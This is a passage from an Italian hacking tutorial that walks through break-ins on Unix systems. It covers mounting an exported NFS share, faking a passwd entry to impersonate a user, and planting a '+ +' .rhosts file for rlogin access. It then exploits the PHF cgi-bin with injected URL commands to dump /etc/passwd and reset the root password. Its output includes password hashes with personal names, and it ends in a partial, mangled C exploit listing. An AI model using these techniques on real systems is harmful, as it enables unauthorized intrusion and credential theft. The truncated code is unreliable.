/var/spool/mail titan,europa,galifrey
/tmp            (everyone)

Vogliamo montare / ...yup ....questo tipo ha l'intero sistema montabile!!!!

$root> mkdir /tmp/mount
$root> mount -nt nfs domain.com:/ /tmp/mount

Se la Home directory e'mountable il comando sarebbe:

$root> mount -nt nfs domain.com:/home /tmp/mount

Per fare l'unmount del sistema,assicurati di essere fuori dalla directory e 
digita:
$root> umount /tmp/mount

Assicurati di fare per prima cosa la directory di mount, puoi farlo ovunque nel 
sistema che vuoi. Se la 
directory /mnt dei sistemi e'vuota puoi usare anche quella.

Ok. Questa volta e'per davvero:

bash# ls -al /mnt  ; assicurati che la directory mnt sia vuota
ls: /mnt: No such file or directory ; Non c'e'neanche la directory ;)
bash# mkdir /mnt ; lets make one for them rin
bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ;Iniziamo a fare mount
bash# cd /mnt ; andiamo sul mounted drive...
bash# ls ; il classico comando di dir
TT_DB             home              raddb             share
back              local             radius-961029.gz  www
exec              lost+found        radius-961029.ps
bash# ;
bash# cd home
bash# ls -l  ;  
total 18
drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
drwxr-xr-x   6 news     news          512 Mar  6  1996 news
drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
drwxr-xr-x   2 302      other         512 Mar  1 10:10 tom
drwxr-xr-x   5 601      daemon        512 Jan 26  1996 viewx
drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www
bash# ; tom e'l'utente #302 
bash# pico /etc/passwd ;mettiamolo nella nostra passwd list 
tom:x:302:2::/home:/bin/bash ; 
bash# su - tom ; facciamo su sull'account di tom ...
bash$ ls -l
total 18
drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
drwxr-xr-x   6 news     news          512 Mar  6  1996 news
drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
drwxr-xr-x   2 tom      other         512 Mar  1 10:10 tom
drwxr-xr-x   5 601      daemon        512 Jan 26  1996 view
drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www
bash$ ;Nota che l'user number di tom non c'e'piu': ora la dir e'nostra!
bash$ echo + +>>tom/.rhosts  ; this will make a file in his dir called .rhosts
bash$ ;inside .rhosts sara' wild cards + +  per far accedere chiunque con rlogin 
bash$ rlogin xxxxx.xxx  Ora siamo tom sulla macchina  facciamo rlogin 
Last login: Fri Mar  7 00:16:03 from xxxxx.xxxxxxxxxx
Sun Microsystems Inc.   SunOS 5.5       Generic November 1995
>  ; yup we are in!
> ls -al
total 8
drwxr-xr-x   2 tom      group        512 Mar  1 17:10 .
drwxr-xr-x  14 tom      group        512 Jan 24 11:16 ..
-rw-r--r--   1 tom      group        144 Dec 30 15:32 .profile
-rw-r--r--   1 tom      bin            8 Mar 11 08:26 .rhosts
>

Ok,ora abbiamo l'accesso,iniziamo l'hack al sistema ....ops ..questa e'un altra 
lezione! 

-------------------------
Capitolo III
Recuperare i passwd files
-------------------------

Ci sono alcuni modi per ottenere i file delle password da sistemi unix. Nella 
maggior parte dei casi ti servira' un account, ma c'e'anche un modo per entrare 
in un sistema senza avere un account. Qui imparerai la differenza tra un normale 
file di password ed un file di password shadowed. Imparerai anche un modo di 
leggere un file di password shadowed.

------------------
Sezione 3A
PHF WWW PH Query
------------------

C'e'un programma nella directory WWW cgi-bin chiamato phf, se il file si trova 
qui,e ha dei permessi di un certo tipo,puoi accederci usando www, o un browser 
testuale presente in linux come lynx. Ora puoi leggere i file nel sistema (yup 
.. /etc/passwd) e salvarli localmente sul tuo computer.

Ci sono molte altre cose che si posssono fare ora. Se il server fa girare httpd 
come root,possiamo essere root usando phf e possiamo anche cambiare la password 
di un account sulla macchina.

Includero' uno script in perl che fara' l'auto-check di tutti i sistemi usando 
lo script getdomain.pl che si trova qui sotto e controllera' se il server sta 
girando come root, in tal caso far' il log dell'id; altrimenti fara' 
automaticamente il download del file di password dalla directory /etc e lo 
chiamera' nomedominio.???.passwd.

Fara' anche l'attach di uno script che permettera' di usare un semplice comando 
da una shell e se il phf e'sul sistema ti permettera' di accodare i comandi 
dalla shell al sistema remoto con una sola riga di comando.

Ok,ora impariamo ad usare il phf.

Usa il tuo Web browser preferito,sia esso un browser grafico o testuale come ad 
esempio lynx,presente sulla maggior parte dei sistemi unix.

Dopo che e'apparsa la schermata,premi il tasto g, ora appare una riga come 
questa:

URL to open:
  Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

Digita:

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
  Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

Apparira':

                                 QUERY RESULTS

   /usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

Cosi' vediamo che sta girando come utente (nobody), cosi',nel sistema, ora 
possiamo essere un utente chiamato nobody. Non siamo root,ma e'quello che 
dobbiamo ottenere ;)

Nota la riga di comando:

http://afp.org/cgi-bin/phf/?Qalias=x%0aid

L'ID era il comando al server per darci l'ID del'utente. Qualche volta dovrai 
dare l'intero path del file che vuoi lanciare, in questo caso avrebbe dovuto 
essere: 
http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id

Nota che dopo %0a inizia la riga di comando. Se vuoi inserire uno spazio dovrai 
scrivere %20 invece dello spazio. Queste sono delle linee di comando di esempio. 
Le iniziero' con %0a

Fa il cat del passwd file
%0a/bin/cat%20/etc/passwd

Ottieni una long directory nella directory /etc di tutti i file che iniziano con 
pass
%0als%20-al%20/etc/pass*

Fa il backup del password file se hai accesso di root con httpd a passwd.my
%0acp%20/etc/passwd%20/etc/passwd.my

Cambia la password di root (se il server te lo permette (e di solito lo fa))
%0apasswd%20root

(la riga qui sopra dovrebbe permettere di fare login senza password,ricorda di 
copiare sempre il passwd.my sopra al file gia' presente, e quindi cancellare 
sempre il backup,poi creati una suid shell bash da qualche parte e 
rinominala,fai sniffing per trovare le tue password).

Se sai come digitare i comandi unix e non ti dimentichi di usare %20 al posto 
degli spazi ,non avrai nessun problema!

Ok, recuperiamo il file di passwd su questo sistema ;)

Url da aprire: http://xxx.org/cgibin/phf/?Qalias=x%0acat%20/etc/passwd

Otteniamo:

                                 QUERY RESULTS


   /usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

Un piccolo file di passwd! Arghhhhh!!! 

Se vuoi salvare questo in un file nella tua directory locale usa l'opzione 

rint nel browser testuale e potrai ora salvare il file nella vostra Home. Impariamo qualcosa ora: mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash 1 :2 :3 :4 :5 :6 :7 1=username 2=password criptata 3=numero dell'utente 4=group id 5=realname 6=home directory 7=shell Ok, diciamo di non voler usare un browser Web, questo e'uno script che puoi compilare per poter usare normali comandi dalla shell phf.c ------ cut here---- /* Some small changes for efficiency by snocrash. */ /* * cgi-bin phf exploit by loxsmith [xf] * * I wrote this in C because not every system is going to have lynx. Also, * this saves the time it usually takes to remember the syntatical format * of the exploit. Because of the host lookup mess, this will take * approximately 12 seconds to execute with average network load. Be patient. * */ #include #include #include #include #include #include #include int main(argc, argv) int argc; char **argv; { int i = 0, s, port, bytes = 128; char exploit[0xff], buffer[128], hostname[256], *command, j[2]; struct sockaddr_in sin; struct hostent *he; if (argc != 3 && argc != 4) { fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); exit(1); } command = (char *)malloc(strlen(argv[1]) * 2); while (argv[1][i] != '

.: Ritorna ad argomento Hackers :: Ritorna a Indice Argomenti :.
Network: Cartoline virtuali - Calendari - Modelle - Playmates - Sfondi - Forum - Old SecurityNews - Warez